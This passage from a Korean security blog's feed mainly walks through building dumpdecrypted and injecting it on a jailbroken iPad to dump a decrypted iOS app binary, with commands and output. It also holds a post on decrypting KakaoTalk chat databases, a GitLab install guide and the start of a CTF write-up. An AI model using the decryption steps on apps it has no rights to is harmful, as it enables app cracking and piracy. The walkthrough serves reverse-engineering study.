&lt;p&gt;sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ &lt;b&gt;make&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -c -o dumpdecrypted.o dumpdecrypted.c&lt;/p&gt;
&lt;p&gt;`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -dynamiclib -o dumpdecrypted.dylib dumpdecrypted.o&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ ls&lt;/p&gt;
&lt;p&gt;Makefile README dumpdecrypted.c &lt;b&gt;dumpdecrypted.dylib &lt;/b&gt;dumpdecrypted.o&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ &lt;b&gt;scp ./dumpdecrypted.dylib root@[192.168.0.44]:/var/root&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;The authenticity of host '192.168.0.44 (192.168.0.44)' can't be established.&lt;/p&gt;
&lt;p&gt;RSA key fingerprint is 7b:dd:df:de:4c:3d:cb:93:04:91:b2:99:88:37:6e:c3.&lt;/p&gt;
&lt;p&gt;Are you sure you want to continue connecting (yes/no)? yes&lt;/p&gt;
&lt;p&gt;Warning: Permanently added '192.168.0.44' (RSA) to the list of known hosts.&lt;/p&gt;
&lt;p&gt;root@192.168.0.44's password:&lt;/p&gt;
&lt;p&gt;dumpdecrypted.dylib 100% 193KB 192.9KB/s 00:00&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;그리고 만들어진 파일을 scp로 제 아이패드에 복사시킵니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;그후 아이패드 SSH에 접속합니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(159, 211, 49); padding: 10px; background-color: rgb(231, 253, 181);&quot;&gt;&lt;p&gt;hyeonseong-won-ui-iPad:~ root# &lt;b&gt;DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /private/var/mobile/Containers/Bundle/Application/00000000-0000-0000-0000-000000000000/appname.app/appname mach-o decryption dumper&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;mach-o decryption dumper&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;DISCLAIMER: This tool is only meant for security research purposes, not for application crackers.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;[ ] detected 32bit ARM binary in memory.&lt;/p&gt;
&lt;p&gt;[ ] offset to cryptid found: @0xb9a08(from 0xb9000) = a08&lt;/p&gt;
&lt;p&gt;[ ] Found encrypted data at address 00004000 of length 13877248 bytes - type 1.&lt;/p&gt;
&lt;p&gt;[ ] Opening /private/var/mobile/Containers/Bundle/Application/00000000-0000-0000-0000-000000000000/appname.app/appname for reading.&lt;/p&gt;
&lt;p&gt;[ ] Reading header&lt;/p&gt;
&lt;p&gt;[ ] Detecting header type&lt;/p&gt;
&lt;p&gt;[ ] Executable is a plain MACH-O image&lt;/p&gt;
&lt;p&gt;[ ] Opening appname.decrypted for writing.&lt;/p&gt;
&lt;p&gt;[ ] Copying the not encrypted start of the file&lt;/p&gt;
&lt;p&gt;[ ] Dumping the decrypted data into the file&lt;/p&gt;
&lt;p&gt;[ ] Copying the not encrypted remainder of the file&lt;/p&gt;
&lt;p&gt;[ ] Setting the LC_ENCRYPTION_INFO-&gt;cryptid to 0 at offset a08&lt;/p&gt;
&lt;p&gt;[ ] Closing original file&lt;/p&gt;
&lt;p&gt;[ ] Closing dump file&lt;/p&gt;
&lt;p&gt;hyeonseong-won-ui-iPad:~ root# ls&lt;/p&gt;
&lt;p&gt;Application Support  appname.decrypted  Library  dumpdecrypted.dylib&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;/private/var/mobile/Containers/Bundle/Application/ 경로에 보시면 현재 설치된 앱 바이너리들이 있는데 이는 find 명령어 등으로 정확한 위치를 알아내신 뒤,&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;위와같이 커맨드를 입력합니다. 그러면 자동으로 디크립션된 앱을 통째로 덤프 떠주면서 마지막으론 appname.decrypted 라는 파일을 뱉어냅니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;그 후 IFunBox 등의 유틸이나 scp 등을 이용하여 프로그램을 추출하시면 복호화된 원본 바이너리를 얻을 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;이 과정으로 GDB를 붙이는 것에 비하여 비교적 간단하게 어플을 가져올 수 있었습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;끝!&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div&gt;&lt;hr style=&quot;display:block; border: black 0 none; border-top: black 1px solid; height: 1px&quot;&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;참고 링크 1 : &lt;a href=&quot;http://blog.l4ys.tw/2014/01/dump-ios-app-headers.html&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://blog.l4ys.tw/2014/01/dump-ios-app-headers.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;참고 링크 2 : &lt;a href=&quot;https://github.com/stefanesser/dumpdecrypted&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/stefanesser/dumpdecrypted&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x14 Reverse Engineering</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/371</guid>
      <comments>https://pgnsc.tistory.com/371#entry371comment</comments>
      <pubDate>Mon, 9 Mar 2015 02:04:05 +0900</pubDate>
    </item>
    <item>
      <title>KakaoTalk 안드로이드 DB 복호화 성공!</title>
      <link>https://pgnsc.tistory.com/370</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;안녕하세요.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;오랜만의 포스팅이네요..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;회사 인턴을 하면서 지내다가 얼마전 부터 조금 여유가 생기고.. 잠시 쉬려고 하는데 갑자기 이상하게도 매일 쓰는 카카오톡의 구조를 알고 싶어서 조금 까보게 되었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;카톡은 예전부터 이미 다른 짱짱해커분들이 바이너리를 많이 까둔 상태인데.. (PC for MAC, PC for Windows, IOS, Android &lt;- 이건 신나게 분석하는 도중.. 분석 막바지에 찾았네요.. OTL)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위는 구글링 하면 나오는 자료들이니 패스!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:1170px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2176594E54E1D1C230&quot; style=&quot;cursor: pointer;max-width:100%;height:auto&quot; onclick=&quot;open_img('https://t1.daumcdn.net/cfile/tistory/2176594E54E1D1C230')&quot;  height=&quot;658&quot; style=&quot;text-align: center;&quot; width=&quot;1170&quot; /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p&gt;언어를 주로 제가 사용하는 파이썬으로 짜보려고 했는데 카톡의 독특한 암호알고리즘으로 암호화 되어있어서 파이썬으로 재현해보려고 별의 별 뻘짓의 결과 실패로 포기하고&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;자바 언어도 새로 배울겸(3년전에 만져본적은 있지만.. helloworld 조차 실패 ㅋㅋ) 하면서 주말동안 분석을 진행해봤습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그나저나 기본적인 Proguard 같은 난독화 솔루션 이외에 다른 무언가가 적용되었는지 아니면 JD-GUI가 이상한건지&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Internal Error 등 내부적인 디컴파일 오류를 내뿜어대고 심지어 함수가 몇단계를 계속 들어가야 하는 부분도 있어서 &lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;분석하느라 &lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;고생좀&lt;/span&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt; 했습니다 ㅋㅋ&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt; * 이과정에서 IDA로 Jar 파일을 열수 있다는것과 smali code를 강제로 공부하게 되었네요 ㅋㅋ.. &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그러나.. 분석하면서 답답함을 느끼고 다른 운영체제의 카톡의 구조는 어떻게 만들어져 있는지 찾아보기 위해서 구글링을 해보다가&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;몇페이지 더 깊게 들어가보니 2년전에 어느분이 안드로이드용 카톡을 조금 분석해둔 분이 계셨네요.. OTL&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;APK 분석은 많은 경험이 없어서 삽질하면서 그냥 공부했다 생각하며.. ㅎ 나머지를 계속 진행했습니다 ㅋㅋ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:1170px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/210F824E54E1D1C322&quot; style=&quot;cursor: pointer;max-width:100%;height:auto&quot; onclick=&quot;open_img('https://t1.daumcdn.net/cfile/tistory/210F824E54E1D1C322')&quot;  height=&quot;209&quot; style=&quot;text-align: center;&quot; width=&quot;1170&quot; /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;결국엔 여러 삽질 끝에 주말을 빠이빠이하고 복호화에 성공했네요.. ㅎㅎ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;현재 복호화가 되는걸로 확인한 것은 친구들 데이터와 대화 내용 데이터인데..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;분석해본건 나중에 시간날때 정리해서 올려보도록 하겠습니다. :)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;div&gt;&lt;iframe src=&quot;https://t1.daumcdn.net/tistory_admin/static/plugin/endGift.html?entryId=0&amp;setNo=816&quot; width=&quot;100%&quot; height=&quot;250&quot; frameborder=&quot;0&quot; border=&quot;0&quot; scrolling=&quot;no&quot; allowtransparency=&quot;true&quot; onresizestart=&quot;return false&quot; ;=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x00 프로그래밍/0x02 android</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/370</guid>
      <comments>https://pgnsc.tistory.com/370#entry370comment</comments>
      <pubDate>Mon, 16 Feb 2015 20:29:15 +0900</pubDate>
    </item>
    <item>
      <title>기술문서 - Introduction to IE's memory protection</title>
      <link>https://pgnsc.tistory.com/369</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:591px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2605C24954B72A3A07&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;835&quot; width=&quot;591&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;오랜만의 기술문서를 배포하게 되었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;화이트해시, 그레이해시 인턴 과정을 거치면서 연구했던 IE의 보호기법과 현재 나와있는 우회법을 간단하게 정리했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;기술에서 테크니컬한 내용은 자세하게 다루지 않았습니다. 대신 중간중간 참고할만한 링크도 함께 걸어두었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;도움이 되었으면 좋겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;* 틀린점이 있다면 sweetchip@sweetchip.kr 이나 아래 댓글로 달아주시면 감사하겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;- https://beistlab.wordpress.com/2015/01/15/grayhash_ie_memory_protection/&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;div&gt;&lt;iframe src=&quot;https://t1.daumcdn.net/tistory_admin/static/plugin/endGift.html?entryId=0&amp;setNo=816&quot; width=&quot;100%&quot; height=&quot;250&quot; frameborder=&quot;0&quot; border=&quot;0&quot; scrolling=&quot;no&quot; allowtransparency=&quot;true&quot; onresizestart=&quot;return false&quot; ;=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x15 System</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/369</guid>
      <comments>https://pgnsc.tistory.com/369#entry369comment</comments>
      <pubDate>Thu, 15 Jan 2015 11:54:30 +0900</pubDate>
    </item>
    <item>
      <title>Private Git - Gitlab 설치하기</title>
      <link>https://pgnsc.tistory.com/364</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:1024px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/246E6A50549AC9B225&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;383&quot; style=&quot;&quot; width=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;예전부터 소스코드 관리를 어떻게 하면 좋을까 고민은 하고 있었지만 github를 사용해볼까 하기도 했지만 private repository를 제공하지 않아서 부적절했다.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그후 private repository를 제공하는 bitbucket이라는 git 서버를 찾았는데 조금 사용하다가 말았다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 그동안 잠시 잊고 지내다가 얼마전에 git을 만질일이 있었고 이때 gitlab을 만나게되었다. &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;gitlab은 개인 서버에 git서버를 '매우 쉽게' 구축할 수 있는 유틸리티이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;일단 공식 사이트는 아래 링크를 따라가면 된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;https://about.gitlab.com/downloads/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그런데 하나 확인해야 할 것이 있다. gitlab의 권장사양은 &lt;b&gt;64비트 운영체제&lt;/b&gt;(지원 운영체제는 ubuntu와 기타)이며 &lt;b&gt;램 2기가 이상&lt;/b&gt;, &lt;b&gt;cpu 코어 2개 이상&lt;/b&gt;이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;cpu 코어정도는 뭐 신경을 크게 안써도 되지만 램이 부족하면 말이 달라진다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;실제로 1기가 램인 내 개인 서버에 설치해보니 포풍오류가 나와서 로그를 찍어보니 메모리 할당을 못한다고 한다.. 정확히 2기가가 아니라서 그런진 모르겠지만,&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;램이 2기가가 넘는 환경에서 구축 하는 것을 권장하고 64비트 VM에서 설치하는 것을 권장&lt;/b&gt;한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;wget https://downloads-packages.s3.amazonaws.com/ubuntu-14.04/gitlab_7.6.1-omnibus.5.3.0.ci-1_amd64.deb&lt;/p&gt;&lt;p&gt;sudo apt-get install openssh-server&lt;/p&gt;&lt;p&gt;sudo apt-get install postfix # Select 'Internet Site', using sendmail instead also works, exim has problems&lt;/p&gt;&lt;p&gt;sudo dpkg -i gitlab_7.6.1-omnibus.5.3.0.ci-1_amd64.deb&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 설치할 서버(ubuntu 14.04.1 기준)에 wget으로 위 링크(&lt;b&gt;링크는 업데이트마다 바뀌니 공식 홈페이지에서 확인 하세요&lt;/b&gt;)를 다운받는다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ssh 서버와 postfix 설치는 생략하겠다. (postfix는 따로 설치 안해도 된다.)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그다음 dpkg로 deb 패키지를 설치한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;잠시 기다리면... 설치가 완료된다..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;진짜 알아서 다해준다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;다만 처음에 vim /opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml 명령어로 host와 port를 설정해주면 된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;만약 오류가 난다면 gitlab-ctl tail 명령어를 사용하여 무엇이 잘못됬는지 실시간 오류를 보면서 구글링을 해보자.. (본인의 경우 8080포트가 겹치는 것이 있었다. 간단하게 unicorn의 포트를 바꿔줫더니 해결!)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 별다른 오류가 없다면 바로 본인 서버에 접속하여 맘껏 사용하도록 하자!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;서버 몇가지 명령어&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;gitlab-ctl start # 서버 시작&lt;br /&gt;&lt;/p&gt;&lt;p&gt;gitlab-ctl stop # 서버 중지&lt;/p&gt;&lt;p&gt;gitlab-ctl reconfigure # 서버 설정 변경 후 실행&lt;/p&gt;&lt;p&gt;gitlab-ctl restart # 서버 재시작&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;부록--&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;처음엔 32비트 서버에도 설치할 일이 있어서 공식 홈페이지에 있는 64비트 패키지를 강제설치 했는데 당연히 실행이 안되고 설치도 덜 되었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 다시 패키지를 지우고 32비트 전용을 찾아다녔는데 공식 홈페이지에서 배포하는 패키지는 모두 64비트 전용이라고 한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;절망과 함께 다시 찾아다니다가 bitnami 에서 배포하는 패키지를 발견했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;https://bitnami.com/stack/gitlab/installer&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위에서는 32비트에서 설치하길 원할경우, 64-bit 문구가 붙어있지 않은 파일을 다운로드 받으면 된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;설치는 공식 홈페이지에서 배포하는 버전보단 아주 약간 작업할 것이 있지만, 크게 힘든건 없다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://smile8916.tistory.com/38 이곳을 참고하여 설치하면 될 것이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x30 유틸리티/0x32 utility</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/364</guid>
      <comments>https://pgnsc.tistory.com/364#entry364comment</comments>
      <pubDate>Wed, 24 Dec 2014 23:12:47 +0900</pubDate>
    </item>
    <item>
      <title>[POC] Power Of XX 여성해킹대회 본선 - Brokenwindow</title>
      <link>https://pgnsc.tistory.com/363</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;블로그 포스팅을 너무 오랫동안 안했네요!!...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그동안 바쁘긴 했는데.. 그래도 뭐좀 쓰자 해서.. 얼마전에 출제한 문제의 write-up이 적절할 것 같아서 쓰기로 했습니다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;14년 11월 6일부터 7일! 2일간 POC 컨퍼런스가 있었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:1170px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/22149938545F5A5335&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;658&quot; style=&quot;&quot; width=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;[위는 POC에서 얻은 것들.. 이번 입장권은 이쁘네요.. ㅎㅎ]&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 POC 이벤트 행사 중 여성해킹대회인 POWER OF XX 본선 경기가 있었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;POX는 숙명여대 SISS와 HackerSchool - Wiseguys 팀이 함께 진행하는 행사였고 저는 작년과 마찬가지로 문제 출제를 담당했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;아쉽게도 &lt;/span&gt;이번엔 바쁜일이 많아서 문제를 1개밖에 출제하지 못했었네요.. ㅠㅠ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아무튼 이번에 제가 출제했던 분야는 Pwnable이고 특이하게도 리눅스에서의 Pwnable이 아닌 윈도우에서의 Pwnable 문제입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;주로 리눅스보다 윈도우에서 시스템 해킹분야를 공부하다 보니 나름[?] 신선하겠다 해서 출제를 결심하게 되었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;게다가 본선 진출팀중에서 윈도우 시스템 해킹을 공부했던 분이 몇분 있는걸로 알고 있고, 또 문제도 그리 어렵게 내지는 않을거라서 별 문제 없겠다 생각했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Binary : &lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile28.uf@243A5447545F50F6101277&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; brokenwindow&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;&lt;b&gt;Description &lt;/b&gt;: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;Can you Break Windows?&lt;/p&gt;&lt;p&gt;Key Example : flag{this_is_flag} -&gt; this_is_flag&lt;/p&gt;&lt;p&gt;[Pwnable]&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div&gt;본격적인 풀이에 들어가기 앞서..&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;현재 Binary에 적용된 메모리 보호기법은 아래와 같습니다.&lt;/div&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(159, 211, 49); padding: 10px; background-color: rgb(231, 253, 